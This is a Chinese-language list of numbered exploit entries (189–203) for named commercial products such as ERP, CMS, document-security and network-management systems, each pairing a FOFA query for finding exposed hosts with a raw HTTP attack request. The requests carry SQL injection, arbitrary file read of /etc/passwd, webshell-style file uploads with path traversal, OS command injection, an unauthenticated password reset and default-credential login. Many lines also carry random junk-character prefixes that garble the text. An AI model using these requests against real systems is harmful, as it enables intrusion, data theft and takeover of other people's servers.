189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
$ }  t9 E- Y' g2 T( A4 OGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
0 X' F5 u/ K) b% z* {8 q% RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 l4 Z* w# _0 x& vAccept-Language: zh-CN,zh;q=0.9
Connection: close


190. 短视频矩阵营销系统 poihuoqu 任意文件读取
& N, `5 k" H8 e& G( V& q( t6 @8 OFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
! z7 m  v% c4 h9 T9 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
0 x: y' H. S# \4 `4 J6 l! kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* {; a' H5 Y) |7 y1 W& Z7 o0 G6 l& u: n0 DContent-Type: application/x-www-form-urlencoded
& Y5 F3 S: l* j, O. q/ T" hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  ^$ k0 J& j3 l* _; S8 i' t
0 ]4 r3 p& M6 k) {poi=file:///etc/passwd

( o  m% D2 D5 l  c1 n4 k8 C
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
  u7 m$ [! R3 e3 F& _, YFOFA：body="/CDGServer3/index.jsp"
% ?% \- h5 n$ K0 mPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: B# f- v6 c4 g; ?2 yContent-Type: application/x-www-form-urlencoded
% H0 u& B6 Y! Y) H0 f4 t
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

: k3 |9 S2 k* ]+ {
  |* v  W. v6 B8 Y- ]) `) Q. ?192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( [5 z7 t2 h- V1 h% yFOFA：title="用户登录_富通天下外贸ERP"
1 p: c; E) }: w! T. ePOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
& x! s0 H8 V2 @( S& L) BHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% ?9 c2 \( A  U/ }; u
( U" a- N/ z# g
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
" e' x4 |  L5 O7 o{
8 C, b' C& B: u* S* w$ zpublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
* i' Q# R, s( c2 b% z; F; ^7 X2 k7 \{
ctx.Response.Write("test");
}
; g( x0 [, c2 [7 G7 H" I}

& v1 i/ V; i* U+ V2 \
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
. c+ p+ c$ K( j% r# EGET /master/ajaxActions/getTokenAction.php HTTP/1.1
) m5 i; H/ D4 S' IHost:
% a$ f$ L! @% a- x8 t' WCookie: PHPSESSID=2333333333333;
5 S5 G/ l$ t. B3 kContent-Type: application/x-www-form-urlencoded
1 G# \- l" P8 i+ p6 R$ CUser-Agent: Mozilla/5.0
, @7 F) j8 z& s' _8 D( ]
5 p' c. ~  k9 a% ]- r
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
) T( x6 y% _1 f5 AHost:
% c" G0 k3 p3 {: ?/ l' b1 MUser-Agent: Mozilla/5.0
' |: @; {* E2 o0 x/ s( aAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
# f( g% ^$ n; @, g$ wContent-Length: 84

& l: g3 ^7 }& a$ ]4 h$ E9 jparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


' H3 t1 S3 i+ t. ]& p5 Y6 AGET /master/img/config HTTP/1.1
Host:
# S$ k+ T0 A; PUser-Agent: Mozilla/5.0
' T3 o) \/ {) R; E: ~+ h0 i

1 ~. N3 l7 K4 S3 @4 W+ W194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
, o9 p0 h) P: X3 p8 IFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
+ [0 C; z( L, `: D$ T  u: i4 n
POST /servlet/uploadAttachmentServlet HTTP/1.1
/ v  K0 J! w6 a2 ]Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+ T! L1 I5 Y6 m4 ~/ H9 A% sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 O- Q8 ]3 F# {3 D- Y2 ]Accept-Encoding: gzip, deflate
- y0 a: P% ?$ D# A4 CConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
0 D: n$ u. |( O------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
( ?, H: G& A  i' f  ]Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
/ j& x; H8 Z* {. M6 \+ x
9 O* |" i; ]$ ~. U! P1 B6 L% K
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
) @- N& }) t0 a0 F1 u" F- U' k; U/ F4 S, gFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
3 @$ B* N6 [! C6 K6 YPragma: no-cache
Cache-Control: no-cache
2 ^7 r4 Y7 _' T  y. F, }2 H% O& `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# l1 }" u* a! L  g9 M- c" m. ]0 mContent-Type: application/x-www-form-urlencoded
! W0 Q, u- @1 c0 |Content-Length: 68
( [) ?/ `+ q, a
- H0 x) Z, e6 Z- p3 w# y{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
( d& T! d( C7 j" [: a* q" H% U8 z' A: Q$ i
- i2 o6 n' C# m. Z. L) q
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
1 j8 H1 j! t4 x9 T4 `/ ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) d4 J; ~5 Q! H3 vContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
1 B1 Q* h7 k% N- JAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
1 {2 P2 a- T2 Y8 s: Z6 ~Connection: close

* f$ Z9 ?/ ?/ H: A& U; D. z5 N{"xgh":"test","newPass":"test666","email":""}
- T5 w) d( |8 Q) M& E' E& I
5 q# Z% s% h4 H) q
& N1 q: ~: x9 V' V* p
* b- n- `7 T+ b4 s0 e0 N197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
1 t8 {' ~1 E( o; b9 T: h8 XFOFA：app="浙大恩特客户资源管理系统"
3 O3 g- d; k5 c( ?$ W( w* @GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
! Y( E6 i' D) @; |1 K3 JConnection: close
; N) P, H1 j4 Z3 {# z2 |( S
; y7 J) P5 I( L: t2 a

198.  阿里云盘 WebDAV 命令注入
6 I& X+ u, h* i# \! E! yCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
* }2 v& ?4 s% ]+ F5 E5 s! p/ S. bCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
- W# s- V6 q4 J3 l% D* C& hAccept: */*
4 G2 l5 o$ K, w4 LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
# U$ D" Q; y/ ?: H+ YConnection: close

; C4 g# J7 x9 h
199. cockpit系统assetsmanager_upload接口 文件上传

6 j' R; M: x) g: \7 S4 _1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

- U/ E8 y% K: ^. u9 v响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
/ O0 `) N: ]; \
" x+ U7 D, m# U: c) cPOST /auth/check HTTP/1.1
Content-Type: application/json

3 J2 ~' a( h; B% Y1 g4 ~1 P{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
( c! s% K/ p; ]4 T8 C, oPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
$ `, S: a& B3 y0 ?6 NCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
# I) q/ |. K% W( p
7 {3 Y- N$ n8 j8 [3 d' {: s<?php echo "tttt";unlink(__FILE__);?>
8 n' `" r" X  Z1 b8 \& k-----------------------------36D28FBc36bd6feE7Fb3
6 s8 G5 q2 S) h# X; DContent-Disposition: form-data; name="folder"

/ D! d# H& f1 ?" [: U0 Q-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
- a* W% t  z" L" W: lGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
/ K; E7 g: ?% j  R0 HCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
# B) P2 V8 a1 }% i- dUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* x$ F* X4 n' _5 F3 e5 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

  @# B9 o9 I* j8 F# T) A
# F) B5 i4 Y6 f1 [201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
! s3 X6 q3 {! XPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
% R) T* N6 k6 G9 L: A1 s) ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  \1 t% g$ j- j( Z) v* ]# J
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
& \) \3 M( g' P
4 H$ G, z( v8 @
* Q) X* L' O( O2 I$ ^# N202. 微擎系统 AccountEdit任意文件上传
6 U$ |- W  w8 z0 j, ^* rFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


5 x1 z) d7 _9 f6 Q7 A替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
( L, B9 V2 b0 ~% w- tAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

& X4 {0 P+ V1 ~& k7 e-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
2 j+ S9 ~2 r% w
8 N3 t* x. P; v. L__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
9 w. n7 I% F" @* @2 h$ lContent-Disposition: form-data; name="__EVENTVALIDATION"
) x2 f/ w  I. L; t
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
, e5 o- E4 E$ W7 W  }# D* F( e  G6 yContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
4 b7 N, _+ v( N3 r  O6 c9 }Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
8 E  j1 y* c( `& q5 [0 D+ j
上传图片
/ |2 H) A; A( }- m9 `-----------------------------786435874t38587593865736587346567358735687
5 i# [. i9 e- \Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
# w  a* s0 ?! u/ D' m& o, _. Y9 W

-----------------------------786435874t38587593865736587346567358735687
' ~4 V! J  ?  ZContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

8 {! R. r* t) k% r, A1 d, g
, C0 u9 ~  S3 d. M) l-----------------------------786435874t38587593865736587346567358735687--
9 K# ^  D- R( H9 q
) m. k& p: ~+ W' W( @1 `3 |
: q5 n/ h4 p4 m. a8 I: m/_data/Uploads/1123.txt
6 F. I* m3 l: `) [( |5 o; K* i5 L
' b8 M8 f' C& ]1 e8 F3 p5 O4 J4 }203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
: C0 Y3 |7 s) ]) @5 aHost: x.x.x.x
9 Z7 ]' }3 K' m5 pAccept-Encoding: gzip
# @$ t( e6 H9 ?6 I$ f, LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" u$ P$ P5 U" m6 {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
9 k3 |' n. P1 ^! P$ `) J; n. q) p
4 k6 c. d5 m& K1 y------WebKitFormBoundaryt7WbDl1tXogoZys4
$ W. V, R# ~0 e3 TContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

: b3 k& h/ B+ I<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

! \* M& Q) Q$ u0 g
8 J$ d6 \( Y! ]! M" K/ F